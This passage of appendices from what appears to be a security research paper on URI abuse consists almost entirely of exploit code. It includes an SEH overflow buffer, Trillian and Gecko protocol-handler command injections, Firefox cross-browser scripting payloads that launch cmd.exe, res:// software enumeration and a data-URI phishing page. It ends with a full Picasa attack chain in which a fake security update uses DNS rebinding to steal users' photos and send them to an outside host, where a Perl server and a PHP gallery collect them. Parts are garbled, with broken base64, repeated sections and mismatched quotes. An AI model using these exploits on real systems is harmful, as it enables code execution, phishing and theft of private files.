var URI = 'aim:///#111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
<body onload="myref = window.open('' + URI + prebuf + ptrToNextSEH + SEH + postbuf, 'mywin','left=20,top=20,width=500,height=500,toolbar=1,resizable=0');" />
</HTML>
Appendix E – Trillian Command Injection URI

aim: &c:\windows\system32\calc.exe" ini="C:\Documents and Settings\All Users\Start Menu\Programs\Startup\pwnd.bat"
Appendix F – HTML for Enumerating Software Installed on the Users Local File System

<html>
<body>
<h1>Local Software Enumeration – by Billy Kim (BK) Rios – Billy.Rios@gmail.com</h1>

The Following Software was Discovered on your Computer:

<script>
var LC5=new Image();
LC5.src = "res://c:\program%20files\@stake\LC5\lc5.exe/#2/#102";
if (LC5.height != 30)
{
document.write("l0pht crack 5 <br>");
}

var acrobat7 =new Image();
acrobat7.src = "res://c:\program%20files\adobe\acrobat%207.0\acrobat\acrobat.dll/#2/#210";
if (acrobat7.height != 30)
{
document.write("Adobe acrobat 7 <br>");
}

var nero6e =new Image();
nero6e.src = "res://c:\program%20files\ahead\nero\nero.exe/#2/NEROSESPLASH";
if (nero6e.height != 30)
{
document.write("Nero 6E <br>");
}

var azureus =new Image();
azureus.src = "res://c:\program%20files\azureus\uninstall.exe/#2/#110";
if (azureus.height != 30)
{document.write("Azureus <br>");}

var cain = new Image();
cain.src = "res://c:\\program%20files\\cain\\uninstal.exe/#2/#106";
if (cain.height != 30)
{
document.write("Cain <br>");
}

var citrix = new Image();
citrix.src = "res://c:\\program%20files\\Citrix\\ica\web32\\mfc30.dll/#2/#30989";
if (citrix.height != 30)
{
document.write("Citrix <br>");
}

var pgpdesktop = new Image();
pgpdesktop.src = "res://c:\\program%20files\\PGP%20Corporation\\PGP%20Desktop\\PGPdesk.exe/#2/#600";
if (pgpdesktop.height != 30)
{
document.write("PGP Desktop <br>");
}

var googletoolbar = new Image();
googletoolbar.src = "res://c:\\program%20files\\google\\googleToolbar1.dll/#2/#120";
if (googletoolbar.height != 30)
{
document.write("Google Toolbar <br>");
}

var flashmx = new Image();
flashmx.src = "res://c:\\program%20files\\Macromedia\\Flash%20mx%202004\\flash.exe/#2/#4395";
if (flashmx.height != 30)
{  
document.write("Macromedia Flash MX <br>");
}

var msnmessenger=new Image();
msnmessenger.src = "res://c:\program%20files\Messenger\msmsgs.exe/#2/#607";
if (msnmessenger.height != 30)  
{
document.write("MSN Messenger <br>");
}

var livemeeting7=new Image();
livemeeting7.src =  
"res://c:\program%20files\microsoft%20office\live%20meeting%207\console\7.5.2302.14\pwresources_zh_tt.dll/#2/#9006";
if (livemeeting7.height != 30)  
{
document.write("Live Meeting 7 <br>");
}

var excel2003=new Image();
excel2003.src =  
"res://c:\program%20files\microsoft%20office\Office11\excel.exe/#34/#904";
if (excel2003.height != 30)  
{
document.write("Excel 2003 <br>");
}

var office2003=new Image();
office2003.src =  
"res://c:\program%20files\microsoft%20office\Office11\1033\MSOhelp.exe/#2/201";
if (office2003.height != 30)  
{
document.write("The Office 2003 Suite <br>");
}

var visualstudio2005=new Image();
visualstudio2005.src = "res://c:\program%20files\microsoft%20visual%20studio%208\common7\ide\devenv.exe/#2/#6606";
if (visualstudio2005.height != 30)
{
document.write("Visual Studio 2003 <br>");
}

var msmoviemaker = new Image();
msmoviemaker.src = "res://c:\program%20files\movie%20maker\moviemk.exe/RT_JPG/sample1";
if (msmoviemaker.height != 30)
{
document.write("Microsoft Movie Maker <br>");
}

var picasa2=new Image();
picasa2.src = "res://c:\program%20files\picasa2\picasa2.exe/#2/#138";
if (picasa2.height != 30)
{
document.write("Picasa2 <br>");
}

var quicktime=new Image();
quicktime.src = "res://c:\program%20files\quicktime\quicktimeplayer.exe/#2/#403";
if (quicktime.height != 30)
{
document.write("Quicktime <br>");
}

var realvnc4=new Image();
realvnc4.src = "res://c:\program%20files\RealVNC\VNC4\vncviewer.exe/#2/#120";
if (realvnc4.height != 30)
{
document.write("Real VNC 4 <br>");
}
var oleview=new Image();
oleview.src = "res://c:\program%20files\resource%20Kit\oleview.exe/#2/#2";
if (oleview.height != 30)
{
document.write("Oleview <br>");
}

var securecrt=new Image();
securecrt.src = "res://c:\program%20files\SecureCRT\SecureCRT.exe/#2/#224";
if (securecrt.height != 30)
{
document.write("SecureCRT <br>");
}

var symantecantivirus=new Image();
symantecantivirus.src =
"res://c:\program%20files\symantec_client_security\symantec%20antivirus\vpc32.exe/#2/#157";
if (symantecantivirus.height != 30)
{
document.write("Symantec Anti Virus <br>");
}

var ultramon=new Image();
ultramon.src =
"res://c:\program%20files\ultramon\ultramondesktop.exe/#2/#108";
if (ultramon.height != 30)
{
document.write("Ultramon <br>");
}

var vmware=new Image();
vmware.src =
"res://c:\program%20files\vmware\vmware%20workstation\vmware.exe/#2/#508";
if (vmware.height != 30)
{
document.write("VMware <br>");
}
var winamp=new Image();
winamp.src = "res://c:\program%20files\winamp\winamp.exe/#2/#109";
if (winamp.height != 30)
{
document.write("Winamp <br>

}
Appendix G – Encoded FireFox Data URI Phishing Site

data:text/html;base64,PGh0bWw+PGhlYWQ+PG1ldGEgaHR0cDovL2h0bWwv
V21lZGl0b3I6NHV2aXJvZ2U7fSC9tdXN0ZWQ+PGJvZHkgYmFja2dyb3VuZD0vMTUwMDUwMDQwOTkzNTM5ODQ5MjE2OTQ5MDYyMDk4NTQw

Ernst & Young’s Advanced Security Center – URI Use and Abuse

Appendix G – Encoded FireFox Data URI Phishing Site

data:text/html;base64,PGh0bWw+PGhlYWQ+PG1ldGEgaHR0cDovL2h0bWwvV21lZGl0b3I6NHV2aXJvZ2U7fSC9tdXN0ZWQ+PGJvZHkgYmFja2dyb3VuZD0vMTUwMDUwMDQwOTkzNTM5ODQ5MjE2OTQ5MDYyMDk4NTQw

40

Ernst & Young’s Advanced Security Center – URI Use and Abuse

Appendix G – Encoded FireFox Data URI Phishing Site

data:text/html;base64,PGh0bWw+PGhlYWQ+PG1ldGEgaHR0cDovL2h0bWwvV21lZGl0b3I6NHV2aXJvZ2U7fSC9tdXN0ZWQ+PGJvZHkgYmFja2dyb3VuZD0vMTUwMDUwMDQwOTkzNTM5ODQ5MjE2OTQ5MDYyMDk4NTQw

40

Appendix G – Encoded FireFox Data URI Phishing Site

data:text/html;base64,PGh0bWw+PGhlYWQ+PG1ldGEgaHR0cDovL2h0bWwvV21lZGl0b3I6NHV2aXJvZ2U7fSC9tdXN0ZWQ+PGJvZHkgYmFja2dyb3VuZD0vMTUwMDUwMDQwOTkzNTM5ODQ5MjE2OTQ5MDYyMDk4NTQw
Appendix H – Cross Browser Scripting URLs

```javascript
firefoxurl: test" -chrome
"javascript:C=Components.classes;I=Components.interfaces;file=C['@mozilla.org/file/local;1'].createInstance(I.nsILocalFile);file.initWithPath('C:'+String.fromCharCode(92)+String.fromCharCode(92)+'Windows'+String.fromCharCode(92)+'System32'+String.fromCharCode(92)+'cmd.exe');process=C['@mozilla.org/process/util;1'].createInstance(I.nsIProcess);process.init(file);process.run(true%252c{}%252c0);alert(process)
```

```javascript
navigatorurl: test" -chrome
"javascript:C=Components.classes;I=Components.interfaces;file=C['@mozilla.org/file/local;1'].createInstance(I.nsILocalFile);file.initWithPath('C:'+String.fromCharCode(92)+String.fromCharCode(92)+'Windows'+String.fromCharCode(92)+'System32'+String.fromCharCode(92)+'cmd.exe');process=C['@mozilla.org/process/util;1'].createInstance(I.nsIProcess);process.init(file);process.run(true%252c{}%252c0);alert(process)
```
Appendix I – Gecko Based Browsers Command Injections

mailto:%00%00../../../../../windows/system32/cmd\".exe
../../../../windows/system32/calc.exe " - " blah.bat

nenhttp:%00%00../../../../../windows/system32/cmd\".exe
../../../../windows/system32/calc.exe " - " blah.bat

news:%00%00../../../../../windows/system32/cmd\".exe
../../../../windows/system32/calc.exe " - " blah.bat

tsnews:%00%00../../../../../windows/system32/cmd\".exe
../../../../windows/system32/calc.exe " - " blah.bat

telnet:%00%00../../../../../windows/system32/cmd\".exe
../../../../windows/system32/calc.exe " - " blah.bat
Appendix J – Button.pbf Code For Picasa Exploitation

<?xml version="1.0" encoding="utf-8" ?>
<buttons format="1" version="1">
    <button id="custombutton/blah" type="dynamic">
        <icon name="outputlayout/poster_icon" src="runtime"/>
        <label>Critical Security Update</label>
        <tooltip>
            Click Here to get a Critical Security Update for Picasa!
        </tooltip>
        <action verb="hybrid">
            <param name="url" value="http://xs-sniper.com/pwn.py"/>
        </action>
    </button>
</buttons>
#!/usr/bin/python
import os
import sys
import cgi
import cgitb
import base64
import Cookie
from xml.dom import minidom
cgitb.enable();

def get_xml(nodelist):
    rc = ""
    for node in nodelist:
        print node.data
        if node.nodeType == node.TEXT_NODE:
            rc = rc + node.data
    return rc

form = cgi.FieldStorage()
rss = ""
uris = ""
output = """"<html>
<body>
""""""""""""""""""
if os.environ["REQUEST_METHOD"] == "POST":
    if form.has_key('rss'):
        rss = form['rss']
        dom = minidom.parseString(rss.value)
        rss = dom.getElementsByTagName('rss')[0]
        channel = rss.getElementsByTagName('channel')[0]
        photo_list = []
        for item in channel.getElementsByTagName('item'):
            title_txt = item.getElementsByTagName('title')[0].childNodes[0].data
            img_url = item.getElementsByTagName('photo:imgsrc')[0].childNodes[0].data
            img_url = img_url.replace("localhost", "natemcfeters.com")
            uris += img_url + ","
else:
    rss = "oh noz"

output += '<script>window.location = "flex/PicasaFlex.html?urls=' + uris + '";</script>'

output += '</body>
</html>'''

print "Content-Type: text/html\n\n"
#print rss
print output
Appendix L – PicasaFlex.mxml Code For Picasa Exploitation

<?xml version="1.0" encoding="utf-8"?>
currentState="s1" backgroundColor="#FFFFFF">
    <mx:states>
        <mx:State name="s1">
            <!--app initialization event-->
            <mx:SetEventHandler name="applicationComplete" handler="init()" />
        </mx:State>
    </mx:states>
    <mx:Label fontWeight="bold" text="Please wait while your Critical Updates for Picasa are downloaded" />
    <mx:ProgressBar id="pbar" labelPlacement="bottom" minimum="0" maximum="100"
        visible="true" direction="right" themeColor="#F20D7A" mode="manual" label="Initializing downloads..." />
    <mx:Label text="" />
    <mx:Panel title="Picasa Pwn" width="400" height="300" visible="false">
        <mx:Text id="output" text="Click to Begin" visible="false" />
    </mx:Panel>
</mx:Application>

private var docURL:String = ExternalInterface.call('eval', 'document.location.href');
private var urlStr:String = ";
private var imgData:ByteArray;
private var sock:Socket;
private var host:String = "pwnedyourphotos.myphotos.cc";
private var port:int = 1337;
private var timer:Timer;
private var delay:Number = 66000;
private var imgs:Array;
private var j:int = 0;
private var u:Array;
private var progress:int = 0;
private var dloadNum:int = 1;

private function pwn():void {

if(j < u.length) {
    if("" != u[j]) {
        //write(u[j]);
        //write("requesting image from localhost");
        u[j] = strReplace(u[j], "natemcfeters.com", "natemcfeters.com.");
        var urlReq:URLRequest = new URLRequest(u[j]);
        var urlLoader:URLLoader = new URLLoader();
        urlLoader.dataFormat = URLLoaderDataFormat.BINARY;
        urlLoader.addEventListener(Event.COMPLETE, doEvent);
        urlLoader.addEventListener(Event.OPEN, doEvent);
        urlLoader.addEventListener(HTTPStatusEvent.HTTP_STATUS, doEvent);
        urlLoader.addEventListener(IOErrorEvent.IO_ERROR, doEvent);
        urlLoader.addEventListener(ProgressEvent.PROGRESS, doEvent);
        urlLoader.addEventListener(SecurityErrorEvent.SECURITY_ERROR, doEvent);
        write("Making request for " + u[j]);
        urlLoader.load(urlReq);
    }
    j++;
}

private function forceRebind():void {
    write("forcing dns rebind...");
    var urlReq:URLRequest = new URLRequest(u[0]);
    var urlLoader:URLLoader = new URLLoader();
    urlLoader.addEventListener(IOErrorEvent.IO_ERROR, rebindEvent);
    urlLoader.load(urlReq);
}

private function rebindEvent(e:Event):void {
    write("rebind complete!");
    var urlLoader:URLLoader = e.currentTarget as URLLoader;
    urlLoader.close();
    urlLoader = null;
    pwn();
    //var interval:uint = setTimeout(pwn, 120000);
}

private function init():void {
    var interval:uint = setTimeout(incrementProgressBar, 2000);
}
private function incrementProgressBar():void {
    if(progress <= 100) {
        pbar.setProgress(progress, 100);
        pbar.label = "Progress for download \(\) + dloadNum + \(\) is \(\) + progress + ";
        progress += 5;
    }
    if(progress > 100) {
        progress = 0;
        dloadNum++;
    }

    var interval:uint;

    if(progress == 0) {
        interval = setTimeout(incrementProgressBar, 5);
    } else {
        interval = setTimeout(incrementProgressBar, 800);
    }
}

private function doEvent(e:Event):void {
    switch(e.type) {
        case Event.COMPLETE:
            var urlLoader:URLLoader = e.currentTarget as URLLoader;
            if(urlLoader.dataFormat == URLLoaderDataFormat.BINARY) {
                write("filesize in bytes: \(\) + urlLoader.bytesTotal); imgData = urlLoader.data;
                postImageData(imgData);
                urlLoader.data = null;
            }
    }
}
urlLoader.close();
urlLoader = null;
} else {
    write("not in binary form");
}
break;

case IOErrorEvent.IO_ERROR:
    write("could not download file: " + u[j]);
    break;
}

private function postImageData(s:ByteArray):void {
    write("grabbing cross domain policy");
    write("DONE grabbing cross domain policy");
    write("uploading stolen image " + u[j]);
    var intervalId:uint = setTimeout(uploadImages, 2000);
}

private function uploadImages():void {
    sock = new Socket();
    sock.addEventListener(Event.CONNECT, onSockEvent);
    sock.addEventListener(ProgressEvent.SOCKET_DATA, onReceive);
    sock.addEventListener(IOErrorEvent.IO_ERROR, onSockEvent);
    sock.addEventListener(SecurityErrorEvent.SECURITY_ERROR, onSockEvent);
    sock.connect(host, port);
}

private function onSockEvent(e:Event):void {
    var ns:Socket = e.currentTarget as Socket;
    write("onsockevent");

    switch(e.type) {
        case Event.CONNECT:
            ns.writeBytes(imgData, 0, imgData.length);
            ns.flush();
            write("image upload complete!\n\n");
            ns.close();
pwn();
}
break;
default:
    write(“error uploading image to server”);
}

private function onReceive(e:Event):void {
    var ns:Socket = e.currentTarget as Socket;
    var len:int = ns.bytesAvailable;
    write(“onreceive”);
    if(len > 0) {
        var s:String = ns.readUTFBytes(len);
        write(s);
    }
}

private function write(m:Object):void {
    var msg:String = m.toString();
    output.text = output.text + “\n” + msg;
}

private function getParameters():void {
    var paramsFull:String = docURL.split(‘?’)[1];
    if(null != paramsFull) {
        var paramsArr:Array = paramsFull.split(‘&’);
        for(var j:int = 0; j < paramsArr.length; j++) {
            var pair:Array = paramsArr[j].split(‘=’);
            if(pair[0] == ‘urls’) {
                urlStr = pair[1];
            }
        }
    }
}

private function strReplace(haystack:String, needle:String, replacement:String):String {
    var temp:Array = haystack.split(needle);
    return temp.join(replacement);
}
Appendix M – PicasaFlex.mxml Code For Picasa Exploitation

<?xml version="1.0"?>
<cross-domain-policy>
    <allow-access-from domain="*" to-ports="*" />
</cross-domain-policy>
Appendix N – Pwn.pl Code For Picasa Exploitation

```perl
#!/usr/bin/perl
use IO::Socket;
use Getopt::Std;

sub start_server {
    my ($port, $proto, $MAXLEN) = (shift, shift, 4096);
    my ($i, $file_type) = (0, "jpg");

    my $sock = IO::Socket::INET->new( Proto => $proto,
        LocalPort => $port,
        Listen => SOMAXCONN,
        Reuse => 1);
    die "couldn't start up server: $!" unless $sock;

    print "started server on port $port:

    while(my $client = $sock->accept()) {
        $file_type = "jpg";
        print "connected from ". $client->peerhost() . "\n;"
        my $request = "";
        my $t = <$client>;
        while($t ne "") {
            if($t =~ /^RIFF/) {
                $file_type = "avi";
            }
            $request .= $t;
            $t = <$client>;
        }
        $request .= $t;

        my $dir = "stolen/" . $client->peerhost();
        if(!(-d $dir)) {
            my $cmd = "mkdir ". $dir . "\n;"
            `$cmd`;
        }
        open(IMGFILE, "">" . $dir . "/" . $i . "." . $file_type) || print "can't open file " . $dir . "/" . $i . "." . $file_type;
        print IMGFILE $request;
        close(IMGFILE);
    
```
print "wrote file ".dir."/".$i.".".$file_type."\n";

$i++;
}
}

$options = ();
getopts("p:d:", \%options);

my ($port, $dir) = ("1337", "images/");

if($options{p}) {
    $port = $options{p};
}
if($options{d}) {
    $dir = $options{d};
}

start_server($port, "tcp");
<?php
$output = "";
if($_GET['mode'] == "viewdir") {
    $dir = $_GET['dir'];
    if($dh = opendir("stolen/$dir")) {
        while(($file = readdir($dh)) !== false) {
            if($file != "." && $file != "..") {
                $output .= "<li><a href='stolen/$dir/$file'>$file</a></li>";
            }
        }
    } else {
        echo "failed to open dir stolen/$dir";
    }
} else {
    if($dh = opendir("stolen")) {
        while(($file = readdir($dh)) !== false) {
            if(is_dir("stolen/$file") && $file != "." && $file != "..") {
            }
        }
    }
    if(empty($output)) {
        $output = "<li>No stolen photos uploaded yet</li>";
    }
}
?>
<html>
<head>
<title>Picasa Pwnage</title>
</head>
<body>
<h1>Pwned Photos</h1>
<ul>
<?=$output?>
</ul>
</body>
</html>